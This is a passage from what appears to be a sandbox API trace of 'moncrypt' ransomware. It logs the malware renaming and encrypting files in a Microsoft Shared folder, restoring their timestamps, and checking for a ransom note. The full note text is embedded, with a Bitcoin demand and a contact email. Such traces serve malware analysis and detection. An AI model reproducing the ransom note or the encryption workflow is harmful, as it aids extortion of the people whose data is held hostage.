lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0043.150] CharLowerBuffW (in: lpsz="JPEGIM32.FLT", cchLength=0xc | out: lpsz="jpegim32.flt") returned 0xc [0043.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0043.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0043.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0043.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0043.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0043.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0043.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0043.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0043.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0043.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0043.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0043.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jí\x18", lpUsedDefaultChar=0x0) returned 1 [0043.151] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0043.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", cchWideChar=67, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpUsedDefaultChar=0x0) returned 67 [0043.151] CharLowerBuffW (in: lpsz=".FLT", cchLength=0x4 | out: lpsz=".flt") returned 0x4 [0043.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".flt", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".fltShared\\GRPHFLT\\JPEGIM32.FLT", lpUsedDefaultChar=0x0) returned 4 [0043.151] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 0x54e200 [0043.151] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0043.151] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0043.151] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0043.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", dwFileAttributes=0x20) returned 1 [0043.153] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0043.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.moncrypt")) returned 1 [0043.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0043.154] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0043.154] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x3ad80 [0043.154] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0043.154] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0043.155] GlobalLock (hMem=0x440004) returned 0x551178 [0043.155] GlobalLock (hMem=0x44000c) returned 0x557188 [0043.156] GlobalHandle (pMem=0x557188) returned 0x44000c [0043.156] GlobalUnlock (hMem=0x44000c) returned 0 [0043.156] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0043.156] GlobalLock (hMem=0x44000c) returned 0x557188 [0043.156] GlobalHandle (pMem=0x557188) returned 0x44000c [0043.156] GlobalUnlock (hMem=0x44000c) returned 0 [0043.156] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0043.156] GlobalLock (hMem=0x44000c) returned 0x557188 [0043.156] GlobalHandle (pMem=0x551178) returned 0x440004 [0043.156] GlobalUnlock (hMem=0x440004) returned 0 [0043.156] GlobalHandle (pMem=0x557188) returned 0x44000c [0043.157] GlobalUnlock (hMem=0x44000c) returned 0 [0043.157] GlobalLock (hMem=0x44000c) returned 0x551178 [0043.157] GlobalHandle (pMem=0x551178) returned 0x44000c [0043.157] GlobalUnlock (hMem=0x44000c) returned 0 [0043.157] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0043.157] GlobalLock (hMem=0x44000c) returned 0x551178 [0043.157] GlobalHandle (pMem=0x551178) returned 0x44000c [0043.157] GlobalUnlock (hMem=0x44000c) returned 0 [0043.157] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0043.157] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0043.157] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0043.157] SetFilePointer (in: hFile=0x188, lDistanceToMove=241024, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x3ad80 [0043.157] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0043.158] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0043.158] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d38*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0043.173] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0043.173] CloseHandle (hObject=0x188) returned 1 [0043.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0043.177] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0043.177] CloseHandle (hObject=0x188) returned 1 [0043.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.moncrypt", dwFileAttributes=0x20) returned 1 [0043.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0043.177] GlobalLock (hMem=0x44000c) returned 0x551178 [0043.177] GlobalHandle (pMem=0x551178) returned 0x44000c [0043.177] GlobalUnlock (hMem=0x44000c) returned 0 [0043.178] GlobalLock (hMem=0x44000c) returned 0x551178 [0043.178] GlobalLock (hMem=0x440004) returned 0x553188 [0043.178] GlobalHandle (pMem=0x551178) returned 0x44000c [0043.178] GlobalUnlock (hMem=0x44000c) returned 0 [0043.178] GlobalHandle (pMem=0x553188) returned 0x440004 [0043.178] GlobalUnlock (hMem=0x440004) returned 0 [0043.178] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0043.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c290c00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3c290c00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3c290c00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0043.178] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0043.178] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0043.178] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0043.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0043.178] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0043.178] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0043.178] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0043.178] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0043.178] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0043.178] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0043.178] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0043.179] CloseHandle (hObject=0x188) returned 1 [0043.179] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0043.179] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0043.179] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0043.179] GlobalLock (hMem=0x440004) returned 0x551178 [0043.179] GlobalHandle (pMem=0x551178) returned 0x440004 [0043.179] GlobalUnlock (hMem=0x440004) returned 0 [0043.179] GlobalLock (hMem=0x440004) returned 0x551178 [0043.179] GlobalLock (hMem=0x44000c) returned 0x553188 [0043.179] GlobalHandle (pMem=0x551178) returned 0x440004 [0043.179] GlobalUnlock (hMem=0x440004) returned 0 [0043.179] GlobalHandle (pMem=0x553188) returned 0x44000c [0043.179] GlobalUnlock (hMem=0x44000c) returned 0 [0043.179] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0043.179] CharLowerBuffW (in: lpsz="MS.CGM", cchLength=0x6 | out: lpsz="ms.cgm") returned 0x6 [0043.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0043.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0043.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0043.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0043.180] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0043.180] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0043.180] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0043.180] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", cchWideChar=61, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpUsedDefaultChar=0x0) returned 61 [0043.180] CharLowerBuffW (in: lpsz=".CGM", cchLength=0x4 | out: lpsz=".cgm") returned 0x4 [0043.180] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".cgm", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".cgmShared\\GRPHFLT\\MS.CGM", lpUsedDefaultChar=0x0) returned 4 [0043.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 0x54e200 [0043.180] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0043.180] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0043.180] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0043.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", dwFileAttributes=0x20) returned 1 [0043.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0043.185] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.moncrypt")) returned 1 [0043.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0043.186] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0043.186] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x774 [0043.186] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0043.186] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x774, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18ea34*=0x774, lpOverlapped=0x0) returned 1 [0044.791] GlobalLock (hMem=0x44000c) returned 0x551178 [0044.791] GlobalLock (hMem=0x440004) returned 0x553188 [0044.791] GlobalHandle (pMem=0x551178) returned 0x44000c [0044.791] GlobalUnlock (hMem=0x44000c) returned 0 [0044.791] GlobalHandle (pMem=0x553188) returned 0x440004 [0044.791] GlobalUnlock (hMem=0x440004) returned 0 [0044.791] GlobalLock (hMem=0x440004) returned 0x551178 [0044.791] GlobalHandle (pMem=0x551178) returned 0x440004 [0044.791] GlobalUnlock (hMem=0x440004) returned 0 [0044.791] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0044.792] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x790, lpOverlapped=0x0) returned 1 [0044.792] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0044.792] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d28*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d28*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0044.803] WriteFile (in: hFile=0x188, lpBuffer=0x1d7d8d8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1d7d8d8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0044.803] CloseHandle (hObject=0x188) returned 1 [0044.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0044.805] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0044.805] CloseHandle (hObject=0x188) returned 1 [0044.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.moncrypt", dwFileAttributes=0x20) returned 1 [0044.806] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0044.806] GlobalLock (hMem=0x440004) returned 0x551178 [0044.806] GlobalHandle (pMem=0x551178) returned 0x440004 [0044.806] GlobalUnlock (hMem=0x440004) returned 0 [0044.806] GlobalLock (hMem=0x440004) returned 0x551178 [0044.806] GlobalLock (hMem=0x44000c) returned 0x553188 [0044.806] GlobalHandle 